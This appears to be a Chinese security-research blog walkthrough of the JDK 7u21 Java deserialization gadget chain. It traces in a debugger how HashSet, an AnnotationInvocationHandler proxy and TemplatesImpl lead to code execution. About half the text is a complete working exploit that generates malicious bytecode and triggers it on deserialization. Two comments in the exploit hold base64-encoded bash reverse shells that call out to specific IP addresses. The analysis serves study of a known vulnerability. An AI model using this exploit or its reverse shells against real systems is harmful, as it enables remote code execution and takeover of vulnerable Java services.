前言:
之前的分析链子大多都是基于了InvokerTransformer 和 TemplatesImpl这两个类去进行恶意加载或者命令执行,同样在jdk7u21这条链子中同样是用到了TemplatesImpl去实现
环境搭建:
因为这是一条基于java本身版本的链子,所以不需要导入什么依赖,只需要jdk的版本是7u21即可
下载链接:
复现流程:

首先看一下ysoserial里面的链子

我们发现后半部分和我们之前分析的templatesImpl那部分是相同的,只是前半部分不相同,而这次我们发现入口类是LinkedHashSet的父类的HashSet的readobject
断点下到HashSet的readobject里面

然后走到最后跟进put方法

因为table是null,所以会跳过for循环

然后跟到addEntry方法里面

这里看到key就是TemplatesImpl的实例方法,value是一个空的object对象
然后当我们一次一次点步过的时候,会发现第二次还会走到hashmap的put方法这里,但是这次我们会发现table不再是空,这次for循环就可以走进去

走进for循环的话,这时候就会调用key的equals方法,当我们跟进去这个equals方法,发现直接到了AnnotationInvocationHandler的invoke方法,说明这里有动态代理的调用

然后检查调用的方法是否是equals方法,是的话就会调用equalsImpl()方法,跟进去看看

在这里就会经过一连串的invoke调用,最一开始是TemplatesImpl.getOutputProperties(),但到了最后就是newTransformer().getOutputProperties()
然后后面就是简单的动态加载类,最后就能弹计算器了

最后的exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor;
import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.*;
public class jdk7u21 { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_name", "Drunkbaby"); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); // new String[]{\"/bin/bash\", \"-c\", \"{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNzkuMC4xNjQvMTIzNiAwPiYx}|{base64,-d}|{bash,-i}\"}" byte[] evil = getTemplatesImpl("Calc"); byte[][] codes = {evil}; setFieldValue(templates, "_bytecodes", codes);
String evilHashCode = "f5a5a608"; // 实例化一个map,并添加Magic Number为key,也就是f5a5a608,value先随便设置一个值 HashMap hashMap = new HashMap(); hashMap.put(evilHashCode,"Drunkbaby");
// 下面部分搞动态代理,反射获取 AnnotationInvocationHandler 类,再实例化
Class handler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = handler.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Templates.class, hashMap);
// 创建动态代理
Templates proxy = (Templates) Proxy.newProxyInstance(jdk7u21.class.getClassLoader(), new Class[]{Templates.class}, invocationHandler);
// 准备入口类 LinkedHashSet HashSet hashSet = new LinkedHashSet(); hashSet.add(templates); hashSet.add(proxy);
// 将恶意templates设置到map中 hashMap.put(evilHashCode, templates); serialize(hashSet); deserialize("ser.bin"); }
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }
public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); }
public static Object deserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; }
public static byte[] getTemplatesImpl(String cmd) { try { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("Evil"); CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); ctClass.setSuperclass(superClass); CtConstructor constructor = ctClass.makeClassInitializer(); constructor.setBody(" try {\n" + " Runtime.getRuntime().exec(\"" + cmd + "\");\n" + " } catch (Exception ignored) {\n" + " }"); // "new String[]{\"/bin/bash\", \"-c\", \"{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMC4xMS4yMzEvOTk5MCAwPiYx}|{base64,-d}|{bash,-i}\"}" byte[] bytes = ctClass.toBytecode(); ctClass.defrost(); return bytes; } catch (Exception e) { e.printStackTrace(); return new byte[]{}; } } }
|
tips:
- 为什么evilHashCode的值要设置成f5a5a608?
解决:这是因为TemplatesImpl也就是上面所说的key在hashcode之后的值就是f5a5a608
- 那为什么就必须一样呢?
解决:这是因为在java readobject恢复对象的时候,set对象中是不允许重复的,所以在添加的对象的时候科宁会有一个比较的操作,当两个对象的hashcode值检测到一样的时候就会对key调用equals方法,那这时候如果我们用AnnotationInvocationHandler代理TemplatesImpl,那在调用equals方法并触发invoke方法,这时候就会调用equalsImpl方法,而在这个方法中会遍历type(TemplatesImpl)中的每个方法,这时候就会触发newTransform() 或getOutputProperties()方法导致字节码加载任意代码的执行